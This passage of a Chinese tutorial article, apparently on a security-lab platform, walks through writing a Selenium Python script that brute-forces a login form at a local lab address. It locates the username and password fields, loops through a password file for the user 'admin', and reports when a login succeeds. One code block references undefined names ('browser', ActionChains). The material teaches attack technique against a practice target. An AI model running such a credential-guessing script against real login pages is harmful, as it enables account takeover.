rgb(92, 99, 112);font-style: italic;">#打开指定URL</span><br/>    ActionChains(browser).key_down(Keys.CONTROL).send_keys(<span style="color: rgb(152, 195, 121);">&#34;t&#34;</span>).key_up(Keys.CONTROL).perform()<br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#34;__main__&#34;</span>:<br/>    main()</code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.41625615763546797" title="null" data-w="1218" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1680d4d0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQDPknWwtQUHJrWlHC0wDvibDJvnkAiazADZpKrNpIKuIuyfm02eN5Vreg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">元素选择</h2><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">元素的选择支持ID，NAME，CSS，XPATH等方式，如果在一个DOM中出现两个相同名元素，默认会选择第一个元素。这里推荐使用Xpath的方式寻找路径。</p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="line-height: 1.75;font-size: 12px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">find_login_box = driver.find_element(by=By.XPATH, value=&#39;&#39;)</code></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">账户输入框</h3><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">通过查看页面，首先确定账户输入框的位置</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.32865168539325845" title="null" data-w="1424" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=02947f21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQMmVdyWiaIEialFUvApicPOMecplxZ83B2cmicCtu1lghXTQAdzVEIRfSJQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">获取Xpath</h3><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.84375" title="null" data-w="576" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c058530e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQFwm9cSodCicTrB5ZSrgLUpoGIib5XialyBPk63icZbraEX6MnhCuibcDjGQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">选择登录框元素</h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="line-height: 1.75;font-size: 12px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">find_login_box = driver.find_element(by=By.XPATH, value=&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/label[1]/span/input&#39;)</code></p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">密码输入框</h3><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4505716207128447" title="null" data-w="1487" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=5350c3ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQN3YwYD4YbjJd12jE1sEJkHDYtVR4y71lu2YQmPd6QP7ey5SA9QkiavQ%2F640%3Fwx_fmt%3Dpng"/></figure><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="line-height: 1.75;font-size: 12px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;word-break: break-all;">find_pass_box = driver.find_element(by=By.XPATH, value=&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/label[2]/span/input&#39;)</code></p><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">输入内容</h2><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2879746835443038" title="null" data-w="2844" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=90e35be8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQTtsqhE06N7leuiaXDaYuaUUzkMeR4sIPosl2DCBDlGqhdXRn4Nxt0lA%2F640%3Fwx_fmt%3Dpng"/></figure><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">    find_login_box.send_keys(<span style="color: rgb(152, 195, 121);">&#39;admin&#39;</span>)<br/>    find_pass_box.send_keys(<span style="color: rgb(152, 195, 121);">&#39;password&#39;</span>)</code></pre><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">运行后会自动打开网址，然后寻找元素，输入内容</p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5663716814159292" title="null" data-w="904" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=da1d8f1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQq0CKIhwqXhpyyTTetQibl7jE3rNFwoERYVW7lAU6BicrbYQdhcphARjg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">点击操作</h2><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">元素选择</h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">首先选定Login按钮元素</p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5244487056567594" title="null" data-w="1043" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=487fdc6f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQQwicjT50LHlI1GRaAdib7AvzqOicelYEKzgBYXRNYvlvsHwRe9oia6oG4Q%2F640%3Fwx_fmt%3Dpng"/></figure><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">find_button = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/div[2]/label/input&#39;</span>)<br/>find_button.click()</code></pre><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">运行python程序，会发现自动输入了账户密码，并点击了登录按钮。</p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5604038946988821" title="null" data-w="2773" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ad2da4c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794Nhg6E6ga2lnFKLY5o7VicQeia34EFl5bYWf8g4gJRiajRaEMKAaMDzBuwoncbabD8YVRHmbibK0JutQ%2F640%3Fwx_fmt%3Dpng"/></figure><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">完整代码</h3><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;"><span style="color: rgb(198, 120, 221);">from</span> time <span style="color: rgb(198, 120, 221);">import</span> sleep<br/><span style="color: rgb(198, 120, 221);">from</span> selenium <span style="color: rgb(198, 120, 221);">import</span> webdriver<br/><span style="color: rgb(198, 120, 221);">from</span> selenium.webdriver.common.by <span style="color: rgb(198, 120, 221);">import</span> By<br/><span style="color: rgb(198, 120, 221);">def</span> <span style="color: rgb(97, 174, 238);">main</span>():<br/>    driver = webdriver.Chrome(executable_path=<span style="color: rgb(152, 195, 121);">r&#39;C:\WebDriver\bin\chromedriver.exe&#39;</span>) <span style="color: rgb(92, 99, 112);font-style: italic;">#指定crome驱动位置</span><br/>    driver.get(<span style="color: rgb(152, 195, 121);">&#39;<a href="http://192.168.180.152/06/vul/burteforce/bf_form.php" target="_blank">http://192.168.180.152/06/vul/burteforce/bf_form.php</a>&#39;</span>)<br/>    find_login_box = driver.find_element(by=By.XPATH,value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/label[1]/span/input&#39;</span>)<br/>    find_pass_box = driver.find_element(by=By.XPATH,value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/label[2]/span/input&#39;</span>)<br/>    find_login_box.send_keys(<span style="color: rgb(152, 195, 121);">&#39;admin&#39;</span>)<br/>    find_pass_box.send_keys(<span style="color: rgb(152, 195, 121);">&#39;password&#39;</span>)<br/>    find_button = driver.find_element(by=By.XPATH,value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/div[2]/label/input&#39;</span>)<br/>    find_button.click()<br/>  <br/>    ActionChains(browser).key_down(Keys.CONTROL).send_keys(<span style="color: rgb(152, 195, 121);">&#34;t&#34;</span>).key_up(Keys.CONTROL).perform()<br/><span style="color: rgb(198, 120, 221);">if</span> __name__ == <span style="color: rgb(152, 195, 121);">&#34;__main__&#34;</span>:<br/>    main()</code></pre><h2 style="white-space: normal;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(15, 76, 129);color: rgb(255, 255, 255);">循环读取</h2><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来要实现的是循环读取字典中的账户密码，这里主要通过在寻找元素处建立循环。设置一个密码字典，让程序每次自动从python字典中取值。</p><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">打开文件</h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">首先建立一个名为pass.txt的文档，其中放上一些密码‘</p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">使用python读取文档</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">    read_passwords = <span style="color: rgb(230, 192, 123);">open</span>(<span style="color: rgb(152, 195, 121);">&#39;pass.txt&#39;</span>, <span style="color: rgb(152, 195, 121);">&#39;r&#39;</span>, encoding=<span style="color: rgb(152, 195, 121);">&#34;utf-8&#34;</span>)<br/>    read_passwords.seek(<span style="color: rgb(209, 154, 102);">0</span>)</code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">建立循环</h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里建立循环使其查找元素，输入密码字典中的密码，登录，不断循环</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">    <span style="color: rgb(198, 120, 221);">for</span> password <span style="color: rgb(198, 120, 221);">in</span> read_passwords:<br/>        find_login_box = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/label[1]/span/input&#39;</span>)<br/>        find_pass_box = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/label[2]/span/input&#39;</span>)<br/>        find_button = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/form/div[2]/label/input&#39;</span>)<br/>        password = password.strip()<br/>        find_login_box.send_keys(<span style="color: rgb(152, 195, 121);">&#39;admin&#39;</span>)<br/>        find_pass_box.send_keys(password)<br/>        sleep(<span style="color: rgb(209, 154, 102);">1</span>)<br/>        find_button.click()</code></pre><h3 style="white-space: normal;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(15, 76, 129);color: rgb(63, 63, 63);">返回包判断</h3><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">接下来需要对点击登录后，页面的响应进行判断，从而确定是否登录成功。</p><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">对是否登录成功，可以通过一些特定的标志，状态码，返回包，进行判断</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">        loginYN = driver.find_element(by=By.XPATH, value=<span style="color: rgb(152, 195, 121);">&#39;//*[@id=&#34;main-container&#34;]/div[2]/div/div[2]/div/div/p&#39;</span>).text<br/>        <span style="color: rgb(198, 120, 221);">if</span> loginYN == <span style="color: rgb(152, 195, 121);">&#34;login success&#34;</span>:<br/>            <span style="color: rgb(230, 192, 123);">print</span>(<span style="color: rgb(152, 195, 121);">&#34;爆破成功，密码为:&#34;</span>+ password)<br/>        sleep(<span style="color: rgb(209, 154, 102);">2</span>)</code></pre><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">运行后会自动进行输入，如果识别到特征会自动输出</p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6361713379164463" title="null" data-w="1891" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" 